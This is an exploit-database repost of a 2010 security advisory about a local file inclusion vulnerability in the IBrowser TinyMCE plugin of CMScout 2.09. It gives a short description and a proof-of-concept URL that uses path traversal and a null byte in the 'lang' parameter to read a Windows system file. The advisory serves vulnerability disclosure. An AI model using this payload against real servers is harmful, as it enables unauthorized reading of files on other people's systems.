CMScout 2.0 TinyMCE plugin IBrowser local file inclusion vulnerability

Edit Report

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2010090078

Below is a copy:

------------------------------------------------------------------------
Software................CMScout 2.09 / IBrowser TinyMCE Plugin
Vulnerability...........Local File Inclusion
Download................http://www.cmscout.co.za/
Release Date............9/15/2010
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
[email protected]
------------------------------------------------------------------------

--Description--

A local file inclusion vulnerability in CMScout 2.09 / IBrowser
TinyMCE Plugin can be exploited to include arbitrary files.


--PoC--

http://localhost/cmscout/tiny_mce/plugins/ibrowser/ibrowser.php?lang=../../../../../../../../windows/win.ini%00

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.